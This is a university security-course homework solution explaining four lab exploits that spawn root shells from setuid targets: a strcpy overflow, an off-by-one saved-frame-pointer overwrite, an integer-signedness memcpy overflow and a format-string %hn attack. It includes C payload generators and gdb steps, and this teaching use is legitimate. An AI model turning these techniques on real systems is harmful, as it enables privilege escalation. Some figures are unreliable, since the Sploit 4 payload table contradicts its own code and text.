COM-402 Stack Smashing and Fuzzing Homework Solution

Stack Smashing Targets 1-4

The goal of the exercises is to "manipulate" the programs `target1`, `target2`, `target3` and `target4` in order to make them spawn a shell. This may seem a bit as a useless hack at first. However, if a given program is running with superuser privileges, then spawning a shell as a superuser may have devastating consequences.

Setuid Bit

- A program that has its `setuid` permission bit set will inherit the permissions of the owner when run For example, if an executable was created by the superuser and the `setuid` bit is set, then even if the program is executed by an unprivileged user, the program will run with the superuser's privileges.
- This is useful for certain programs such as `passwd`, which enable any user on the machine to change its password given the old password. The program needs access to the file `etc/shadow` in order to check the old password and set a new one which is only accessible by the superuser. However, any user should be able to change their passwords without extra privileges, therefore the program should run as `root` even if it is executed by a normal user.

Sploit 1

Understanding the Vulnerability

- In order to exploit the first target, the first step is to read the source code available in the file `target1.c`.

- With some basic understanding of C we can see that the program behaves in the following way:

  1. The program expects one argument which will be interpreted as a character array/string.
  2. The program will then call the function `foo` using as argument the provided string and allocate a buffer of length 240 bytes.
  3. The `bar` function will then be called with both the buffer and provided string passed by reference.
  4. The program copies the contents of the string into the buffer using the C standard library function `strcpy`.

  Seems innocent?

- By `man 3 strcpy` into a terminal, a description of the function's behavior is displayed, mentioning the following:

```
char *strcpy(char *dest, const char *src);

Description:
The strcpy() function copies the string pointed to by src, including the
terminating null byte ('\0'), to the buffer pointed to by dest.
The strings may not overlap, and the destination string dest must be
large enough to receive the copy. Beware of buffer overruns! (See BUGS.)
```

As we see here it is described that the programmer has to make sure that the destination buffer is large enough to receive the source string. This is because the `strcpy` function does not check this itself. But what would happen if the `src` string is longer than the `dst` container?

- Unfortunately, `strcpy` will continue to copy the rest of the remaining string into memory "adjacent" to the `dst` buffer until it encounters a null terminating byte in the `src` string... how can we exploit this behavior?
- In order to understand what we can do with this, lets take a look at the state of the program stack (within the frame of the `foo` function) before the provided string is copied into the buffer:

Stack Contents	Memory Addresses
....	high addresses
argument of `foo`	address of `buf` + 248
return address of `foo`	address of `buf` + 244
saved base pointer	address of `buf` + 240
last 4 bytes of `buf`	address of `buf` + 236
...	
first 4 bytes of `buf`	address of `buf`
...	low addresses

  - After returning from function `foo`, the instruction pointer (IP) will take the value of the return address which points to the next instruction after the call to `foo` in the `main` function.
  - If we provide a string longer than 240 bytes to the program, then the contents of the stack located above the buffer `buf` will be overwritten
  - Therefore, we can overwrite the return address and manipulate the program to jump to an instruction located at an address of our choice.
  - What if we tricked the program to jump to an instruction which spawns a shell?

Exploiting the Vulnerability Based on the insights provided above, the idea would be to trick the program into jumping to an instruction which spawns a shell and to do so we need to perform the following:

1. Construct the encoding of the assembly instruction sequence representing the code

   ```
   char *name[2];
   name[0] = "/bin/sh";
   name[1] = NULL;
   execve(name[0], name, NULL);
   ```

   To do so, we can either compile this code or we can simply use the provided shellcode in `shellcode.h`

2. Next, we need to make this instruction sequence accessible in the vulnerable target program. The simplest way to do so is to include the shellcode in the string provided as an argument to the program. The provided shellcode is 45 bytes long, so it can easily fit into the buffer `buf`. The provided string would have the following structure:

Byte indexes	0 - 198	199-243	244-247
Contents	dummy values (eg : 'A')	shellcode	address of the shell code

To determine the indexes/structure we used the fact that that the return address is located 244 bytes after the start of the buffer, and that the shellcode is 45 bytes long.

3. The next step is to figure out the value of the address (i.e., the address pointing at byte index 199) pointing to the shellcode. We will use the *gdb* debugger to determine that address.

   Nevertheless, one trick will make this easier for us: the `NOP` instruction (short for *no operation*) is an instruction which does nothing. In other words, if the program reads this instruction, it will pass on to the next one without modifying registers/memory. The `NOP` instruction encoding takes 1 byte and has the value `0x90`. Translated into a C string we get:

   ```
   char nop[] = "\x90";
   ```

   If we use this value as dummy values in our string, then we can set as a return address any address in the range of the buffer as the program will execute all `NOP` instructions followed by the shellcode instruction. Therefore our provided string would now be:

Byte indexes	0 - 198	199-243	244-247
Contents	"\x90"	shellcode	address of the shell code

Finding the Address in GDB In order to find the correct address, we start by implementing the exploit code (without knowing the address) the following way (see the solution file for the full source code):

```
char exploit[250] = {0};
char jump_addr[] = "\x1c\x05\x80\x40";

/* Create NOP sled */
for (size_t i = 0;
     i < (sizeof(exploit) - sizeof(shellcode) - sizeof(jump_addr));
     i++) {
    exploit[i] = NOP;
}

/* Append shellcode */
strncat(exploit, shellcode, sizeof(exploit) - strlen(exploit) - 1);
/* Append target address (stack address somewhere within NOP sled */
strncat(exploit, jump_addr, sizeof(exploit) - strlen(exploit) - 1);

printf("%s", exploit);
```

Next we run gdb with our incomplete exploit as explained in the handout:

```
debug ../targets/target1 $(./sploit1)
```

To find our jump address we set a breakpoint at line 8 of `target1.c` right after the execution of the `strcpy` function, as we will be able to visualize the contents of the buffer and addresses. To set the breakpoint we type in the command `break 8` and then continue execution with `continue`.

To visualize the stack, we run the command `x/20x $sp` which will print out the contents of the 20 first words (4 bytes each) in hexadecimal from the top of the stack and should display something similar to the following:

```
0x4080048c:    0x4080058c    0x08049833    0x408007db    0x4080049c
0x4080049c:    0x90909090    0x90909090    0x90909090    0x90909090
0x408004ac:    0x90909090    0x90909090    0x90909090    0x90909090
0x408004bc:    0x90909090    0x90909090    0x90909090    0x90909090
0x408004cc:    0x90909090    0x90909090    0x90909090    0x90909090
```

Note that the stack addresses are not necessarily exactly the same on your system but you should be able to easily identify them! Your stack addresses might therefore be offset from the given addresses and the given solutions below should only be seen as an explanation to the problem, just copy-pasting code without adapting addresses may not always work!

We can easily identify the start of the buffer filled with `0x90` NOP instructions. Therefore, we can use the address `0x4080049c` or any other address pointing into the NOP sled) to overwrite the return address. To do so we change the line of code in `sploit1.c`

```
char jump_addr[] = "AAAA"
```

to

```
char jump_addr[] = "\x9c\x04\x80\x40"
```

If we now run `run ../targets/target1 $(./sploit1)` in the provided Docker container, we should be able to spawn a (root) shell :)

Sploit2

Understanding the Vulnerability To understand how to exploit `target2.c`, we start as usual by inspecting the source code. Here, the program is similar however the programmer decided to avoid to use the insecure `strcpy` function and implemented his own version that performs a length check to avoid buffer overflows:

```
void nstrcpy(char *out, int outl, char *in) {
    int len = strlen(in);
    if (len > outl) {
        len = outl;
    }

    for (int i = 0; i <= len; i++) {
        out[i] = in[i];
    }
}
```

However if we look at the code close we can see that the programmer made a mistake and wrote <= instead of < in the for loop condition. This means that we can overflow the buffer by one byte... but this is not enough for us to overwrite the return address as in the previous target. How can we exploit this anyways? To answer this question we first need to understand the behavior of the stack/base pointer upon exiting functions.

Base Pointer The base pointer is a main register referred to as `$ebp` (the stack pointer on the other hand is referred to as `$esp`). Upon entering a function the base pointer value is pushed on the stack and then set to the value of the stack pointer with the following instructions:

```
push ebp     // push the ebp register value onto the stack
mov ebp, esp // set the ebp register to esp
sub esp, N   // allocate bytes on the stack for local variables (e.g., the buffer)
```

This sequence of instructions is known as the *function prologue*. The *function epilogue* refers to the sequence of instruction that handles the return from a function to the calling function, which typically reverses the actions of the function prologue the following way:

```
mov esp, ebp // this and the following instruction can also be
pop ebp      // encoded as "leave"
ret
```

In the above sequence, the following happens:

1. The stack pointer is set to the value currently saved in the base pointer register.
2. The previously saved base pointer value (the one pushed ont the stack in the *function prologue* and now pointed by the stack pointer) is popped from the stack and restored to the base pointer register.
3. The `ret` instruction sets the instruction pointer (`$eip`) to the value stored on the stack, more specifically, the return address stored right before the base pointer.

For more information on the function prologue/epilogue and pointer registers, please check the following links:
[https://en.wikipedia.org/wiki/Function_prologue]
[https://www.tutorialspoint.com/assembly_programming/assembly_registers.htm]

Tricking the Stack Pointer Before returning from the `bar` function, the stack will have the following structure (*start* refers to the address at the start of the buffer `buf` as our point of reference):

Stack Contents	Memory Addresses
`foo` arg `argv`	*start + 260*
`foo` return address	*start + 256*
`foo` saved `$ebp` (`ebp_foo`)	*start + 252*
`bar` arg `arg`	*start + 248*
`bar` return address	*start + 244*
`bar` saved `$ebp` (`ebp_bar`)	*start + 240*
last 4 bytes of `buf`	*start + 236*
...	....
first 4 bytes of `buf`	*start*
....	

Note that at this point the base pointer register will hold the value *start+240* which is the address on the stack of the previous base pointer (saved when entering the `bar` function).

When exiting the `bar` function in a normal/benign execution, the following will happen:

1. The stack pointer will take the value set in the base pointer register, that is *start + 240*.

2. `ebp_bar` is popped from the stack and saved in the base pointer register.
3. The `bar` function returns and the execution continues at the instructions located at the return address stored on the stack at *start* + *244* (`bar` return address).

Now the `foo` function exits and the following happens:

1. The stack pointer takes the value set in the base pointer register (`ebp_bar`) which corresponds to the address *start* + *252*.
2. `ebp_foo` is popped from the stack and saved in the base pointer register
3. The `foo` function returns and the execution continues at the instructions located at the return address stored on the stack at *start* + *256* (`foo` return address = `ebp_bar` + 4).

Now we know the following:

- Due to the programmer's mistake, we can modify the last byte of the saved base pointer value `ebp_bar` stored at *start* + *240*.
- After returning from the `foo` function, the execution will continue at the address stored at `ebp_bar` + 4.

To exploit this vulnerability, we will thus construct our payload in the following way:

Byte indexes	0 - 190	191-235	236-239	240
Contents	"\x90"/NOP	shellcode	address of the shell code	overwriting byte

The value of the overwriting byte will have to be chosen such that the new `ebp_bar` is equal to the address pointing to the buffer's 232th index (236 - 4). As a consequence, the program will continue the execution at the address of the shell code when returning from the `foo` function.

Exploiting the Vulnerability Now that we know the structure of our shellcode, we still need to find the values for the shellcode address as well as the value of the overwriting byte. To do so, we first construct a dummy payload of 240 bytes, where the last four bytes are equal to "AAAA". This will help us localize where the saved base pointer with value `ebp_bar` is stored when debugging the exploit. Therefore we construct our dummy exploit the following way:

```
char exploit[242] = {0};
char jump_addr[] = "AAAA";

/* Create NOP sled */
for (size_t i = 0;
     i < (sizeof(exploit) - sizeof(shellcode) - sizeof(jump_addr));
     i++) {
    exploit[i] = NOP;
}
/* Append shellcode */
strncat(exploit, shellcode, sizeof(exploit) - strlen(exploit) - 2);
/* Append target address (stack address somewhere within NOP sled */
strncat(exploit, jump_addr, sizeof(exploit) - strlen(exploit) - 2);

printf("%s", exploit);
```

Now in the container, we start the debugger in the same fashion as in exercise 1:

```
debug ../targets/target2 $(./sploit2)
```

This time, we break at the end of the bar function right after the nstrcpy execution. To do so we run the command:

```
disassemble bar
```

This will show us the instructions addresses of the function. To break at the end of the function we break at the address of the leave instruction with the command:

```
break *0x0804986e
```

and then continue execution with the command continue. At the breakpoint we print out our buffer by issuing the command x /80x $esp. By now the contents of buf can be visualized: a series of 0x90 NOP instructions followed by the bytes of the shellcode and the dummy address 0x41414141 = AAAA.

As in the first exercise, by looking at the memory addresses of the stack, we choose an address pointing into the series of NOP instruction to replace AAAA. In our case, we choose the address 0x40800530. **Just as in exercise 1, the stack address may differ – adapt accordingly!**

Now we still need the find the value of the overwriting byte. To do so, we need to find the address where the placeholder values 0x41414141 are located. In our case the line of the output containing the placeholder contains the following values:

Stack Addresses	0x40800588	0x4080058c	0x40800590	0x40800594
Values	0x68732f6e	0x41414141	0x4080069c	0x08049885
Description	last shellcode bytes	placeholder AAAA	ebp_bar	return address of bar

As we can see, our shellcode address will be located at the stack address 0x4080058c which means that the modified ebp_bar should have the value 0x40800588 (= 0x4080058c - 4). Since ebp_bar is originally equal to 0x4080059c, the last byte needs to be changed to 0x88.

Now that we have all the addresses, we modify our payload the following way (changing the address, adding the last byte):

```
char exploit[242] = {0};
char jump_addr[] = "\x30\x05\x80\x40";

/* Create NOP sled */
for (size_t i = 0;
     i < (sizeof(exploit) - sizeof(shellcode) - sizeof(jump_addr));
     i++) {
    exploit[i] = NOP;
}
/* Append shellcode */
strncat(exploit, shellcode, sizeof(exploit) - strlen(exploit) - 2);
/* Append target address (stack address somewhere within NOP sled */
strncat(exploit, jump_addr, sizeof(exploit) - strlen(exploit) - 2);
```

```c
/* Put last byte we want to modify in the frame pointer */
exploit[sizeof(exploit) - 2] = 0x88;

printf("%s", exploit);
```

If we now run `run ../targets/target2 $(./sploit2)`, we should be able to spawn a root shell.

Sploit 3

Understanding the Vulnerability To start, we proceed as usual and review the source code of `target3.c`. As we can see, the program expects an ASCII-encoded number in the 10 first bytes, followed by a comma and a list of serialized `widget_t` structures. The number is interpreted as the number of struct `widget_t` contained in the list.

The programmer was cautious and hence defined a constant `MAX_WIDGET` in order to set an upper bound on the number of widgets that will be copied into the buffer `buf`. However, in the `main` function the programmer converts the provided number to an `int` type without performing any checks. This value is then implicitly cast to a `size_t` type when provided to the `memcpy` function. To understand how this can be exploited lets take a look at how these types are encoded on a 32-bit machine:

- An `int` represents a signed integer and encoded using the two's complement encoding on 32 bits (see https://en.wikipedia.org/wiki/Two's_complement). Therefore when the binary's most significant bit is set to one, the binary value encodes a negative integer.
- A `size_t` represents an unsigned integer encoded on 32 bits which can represent values up to 2^32-1.
- Converting a negative `int` to a `size_t` will yield a value between 2^31 and 2^32-1.

With this insight we can deduce the following:

- If we provide a value for `count` between 2^31 and 2^32-1, then `count` will be understood by the program as a negative value in the `foo` function and the `if` condition in line 17 will pass.
- The program will convert `count` to a `size_t` type when calling the `memcpy` function and multiply this value by 20.

Therefore, if we choose the right value before the comma, we can trick the `memcpy` function to copy an arbitrary number of bytes into the buffer `buf`. However, we must ensure that when converted to a `size_t` and multiplied by 20, this value is not too large, since this can already cause the program to crash during the execution of `memcpy`. We must therefore choose an appropriate size that is large enough to overflow the buffer and overwrite the return address but small enough to prevent the program from crashing before the return of the `foo` function.

Choosing the Size of Our String To choose the size of our overflowing buffer, we note that choosing too large of a size will likely yield a segmentation fault during the execution of the `memcpy` function preventing us from spawning our shell since the program will crash before returning from the `foo` function. Since the return address will be located 4 bytes after the end of the buffer `buf` and a `widget_t` is of size 20 bytes, we can choose a size of 4820, as if we provided an extra widget. It is important to notice that the chosen value only refers to the string that will be copied into the buffer. As a consequence, the count will have to start after the ',' character, which acts as a separator between the number of widgets and the values themselves.

Finding the Value of `count` In order to make the `memcpy` function copy 4820 bytes, we need to ensure that `count` satisfies the following equation:

`count * 20  = 4820 (mod 2^32)`

which we can simplify to :

`count = 241 (mod 2^32)`

Since `count` needs to be in the range [2^31, 2^32-1], we can set `count` to 2^31 + 241 = 2147483889.

Exploiting the Vulnerability With the insights provided above, the idea is to provide the vulnerable program with the following payload for the function `foo`:

Byte indexes	0-4758	4759-4803	4804-4807	4808-4819
Contents	NOP	shellcode	address of the shellcode	dummy values (eg. series of "A")

Considering the input string for the `target3` program requires a count of widgets to copy (that, as stated, we are replacing with a "trick" value), the following payload will have to be provided as an argument:

Byte indexes	0-9	10	11-4769	4770-4814	4815-4818	4819-4830
Contents	2147483889	,	NOP	shellcode	address of the shell code	dummy values (eg. series of "A")

As usual, we open up *gdb* and find a suitable address for the overwriting return address. This can be easily done by running the exploit with a dummy jump address (e.g., "AAAA"), then checking at what address the `buf` variable is stored.

Once this has been done, the following code successfully exploits the vulnerability, logging us in as root:

```
char exploit[4820] = {0};
char ret_addr[] = "\x70\xe1\x7f\x40";

/* Magic number */
size_t trick_size = ((size_t)pow(2, 31)) + 241;

/* Prepare NOP sled */
size_t n_nops = 4800 + 4 - strlen(shellcode);
for (size_t i = 0; i < n_nops; i++) {
    exploit[i] = NOP;
}

/* Concatenate NOP sled, shellcode, return address */
strncat(exploit, shellcode, sizeof(exploit) - strlen(exploit) - 1);
strncat(exploit, ret_addr, sizeof(exploit) - strlen(exploit) - 1);

/* Fill end of buffer with trash */
for (size_t i = strlen(exploit); i < 4820; i++) {
    exploit[i] = 'A';
```

```
}
exploit[4819] = '\0';

printf("%zu,%s", trick_size, exploit);
```

Sploit 4

Understanding the Vulnerability In order to perform our attack, we first need to take a look at the source code of `target4.c`, and try to understand if it contains any vulnerability that we may exploit.

This time, the code appears quite different from the ones we observed in the previous exercises. The function `foo` receives as an argument a buffer `arg`, that is then copied to a local buffer `buf` using the library function `snprintf()`. In this case, the programmer was wise in using `snprintf()` rather than `sprintf()`: the former provides the advantage of enforcing a control on the number of copied bytes, thus preventing buffer overflow attacks.

Since, as stated, the program does not present any obvious buffer overflow vulnerability, we must think of something else in order to execute our shellcode and take control of the system. Upon further analysis, we can observe that `snprintf()` is a format function, therefore potentially vulnerable to *Format String* attacks. Such kind of attacks are based on the unsafe use of functions such as `printf()`, that take a format string as a parameter.

In order to understand the vulnerabilities caused by some uses of format strings, we first need to understand how string formatting functions such as `printf()` work in C. When a function call such as `printf("I am %d years old.", age)` is performed:

1. The address of the format string is pushed onto the stack;
2. The values of the variables (only `age` in this case) are pushed onto the stack from left to right. Subsequently, the format string is read character by character from left to right, and corresponding values are read in order from the stack whenever the '%' symbol is encountered.

What happens if the format string contains one or more '%' specifiers, but no corresponding variable is given as an argument? In this case, the function will still behave the same way, thus reading from the stack a number of bytes based on the specified parameter. With this in mind, imagining we have full control of a format string (e.g., `printf(argv[1])`) we can think about exploiting format string vulnerabilities in various ways:

1. We might crash the program, by providing a format string with an arbitrary number of `%s` specifiers, such as `"%s%s%s%s"`. In this case, the function will interpret values on the stack as addresses, and, for each of those, print contained values up until a '\0' value is found. If the stack contains a value that is not a valid address, however, the function will not be able to dereference it, and the program will crash.
2. A more interesting kind of attack, that will serve as a basic yet fundamental tool to build our final exploit, consists in reading values from the stack. By providing a format string with an arbitrary number of `%08x` specifiers, such as `"%08x %08x %08x %08x"`, we can read parameters from the stack, displaying them on screen as 8-digit 0-prefixed hex numbers.

All that we have seen so far is certainly very useful; however, on its own, it does not provide any feasible way to hijack the control flow of the program and execute our shellcode. For this purpose, we must introduce the `%n` specifier.

The `%n` Specifier

Unlike many other specifiers that allow to print the content or address of a variable on a string, `%n` writes the number of bytes that have been written so far to the address specified by the corresponding pointer. A simple yet effective example: the function call `printf("123%n", &char_written)` writes the value 3 to the `char_written` variable, assuming no character has been printed prior.

In addition to the simple `%n`, `%hn` and `%hhn` also exist. The purpose of these two parameters is to write a 2-bytes and 1-byte value respectively, rather than the standard 4-byte one.

Finally, it is useful to know a trick to manipulate the number of written characters, without actively writing as many. The trick consists of inserting dummy padding values in specifiers such as `%dummy_valuex`: when this happens, the number of written values will be increased by the provided dummy value (used for determining the padding length of the `x` specifier in this case).

Exploiting the vulnerability Now that we have the final piece of the puzzle, we just have to put everything together and come up with an effective strategy to use `%n` to overwrite the return address of the function `foo`.

The key idea is to push the address that we want to overwrite (the one in which the return address is stored) onto the stack. In order to do this, we provide it as an argument to the `snprintf()` function. As we have seen, we can then do some trial and error to identify at which point of the stack the provided address is located, and overwrite the value contained in that address (i.e., the return address) with the number of characters we have written so far, that must match the address of the first byte of our shellcode.

In order to build our payload with more insights, we can start with the following snippet:

```
#include <stdio.h>
#include "shellcode.h"


int main(void) {
  printf("AAAA%08x%08x%08x%08x%08x");
  return 0;
}
```

Like in the other exercices before, stack addresses in the following description can change and you should be able to identify the corresponding address easily on your own!

We then run *gdb* in the usual way (`debug <exe> <args>`) and insert a breakpoint after the execution of `snprintf()` in the `foo` function. By printing the address and value of the buf variable, we can see that:

1. The content of buf is “AAAA”, followed by `41414141`: from this, we can infer that the first parameter read from the stack corresponds to the first word of the `buf` variable.
2. The `buf` variable is located at `0x408004ac` (we can inspect that in *gdb* with `print &buf` after setting a breakpoint in `foo`).
3. We might expect the return address to be 404 bytes after `buf`: actually, by looking at the assembly code of `foo`, we notice that `ebx` is pushed onto the stack right after `ebp` and `eip`, so we do not find the return address where we expected it. A neat trick to locate the return address on the stack with precision is to set a breakpoint on the `ret` instruction in `foo` (that is, `b *(foo+42)` in *gdb*) and then print the value of the stack pointer (`p $esp`): that address will be the location of the ret address, i.e `0x40800640` in this example.

We observe that it is easier to split the huge address in two parts, writing the higher and lower bytes separately using `%hn`. As a consequence, both a second address (`0x40800642`, which is 0x40800640 + 2, as we want the 2 MSB of the first address to become the 2 LSB of the second one) and an additional `%$dummy_numberx` parameter must be added, in order to "establish" the number of written bytes, thus deciding the value written by the second `%hn`. Finally, 4 random bytes of padding must be inserted between the two addresses, as the function will read them as the parameters corresponding to the `%$dummy_numberx` specifier.

Based on what has been previously explained, the following payload will have to be provided as an argument:

Byte indexes	0-3	4-7	8-11	12-16	57-61
Values	`AAAA`	0x408006c0	`AAAA`	0x408006c2	`shellcode %64583x %hn %50043 %hn`
Description	dummy address of ret		dummy address of ret + 2		shellcode + format

In order to understand the values we are using as dummies, we must note that we want to write the full address of `buf` but split in two:

1. 0x04bc (decimal 1212) in the two LSB
2. 0x4080 (decimal 16512) in the two MSB

At the start, we already write 61 bytes (addresses, 2x padding and shellcode). As a result, we need to substract this padding from the first length specifier: 1212 - 61 = 1151. For the MSB, we can simply do `0x4080 - 0x04bc = 0x3bc4 = 15300`. After that, we might want to play a bit with the debugger and adjust the value accordingly if something is not exactly working, for example, try to see which address you are overwriting and if you are off by some distance, try subtracting it from the high bytes and adding to the low bytes, etc... With all of this in mind, the following code can be built to exploit the format string vulnerability, logging us in as root:

```c
char exploit[256] = {0};

char ret_location[] = "\x40\x06\x80\x40";
char ret_location2[] = "\x42\x06\x80\x40";

/* Padding */
strncat(exploit, "AAAA", sizeof(exploit) - strlen(exploit) - 1);
/* Address of the first half of the return address */
strncat(exploit, ret_location, sizeof(exploit) - strlen(exploit) - 1);
/* Padding */
strncat(exploit, "AAAA", sizeof(exploit) - strlen(exploit) - 1);
/* Address of the second half of the return address */
strncat(exploit, ret_location2, sizeof(exploit) - strlen(exploit) - 1);
/* Shellcode */
strncat(exploit, shellcode, sizeof(exploit) - strlen(exploit) - 1);
/* Pad to desired size for %n specifier => write 0x04bc */
strncat(exploit, "%1151x", sizeof(exploit) - strlen(exploit) - 1);
/* Actually overwrite the return address (first half) */
strncat(exploit, "%hn", sizeof(exploit) - strlen(exploit) - 1);
/* Pad to desired size for %n specifier => write 0x4080 */
strncat(exploit, "%15300x", sizeof(exploit) - strlen(exploit) - 1);
/* Actually overwrite the return address (second half) */
```

```
strncat(exploit, "%hn", sizeof(exploit) - strlen(exploit) - 1);
exploit[strlen(exploit)] = '\0';

printf("%s", exploit);
```

Fuzzing

A possible input for crashing the executable is `COM-402`. Any crash you found with AFL++ should contain a somewhat similar string to this one. As noted in the handout, there are multiple possible inputs satisfying all the constraints (thus, the "somewhat similar" above).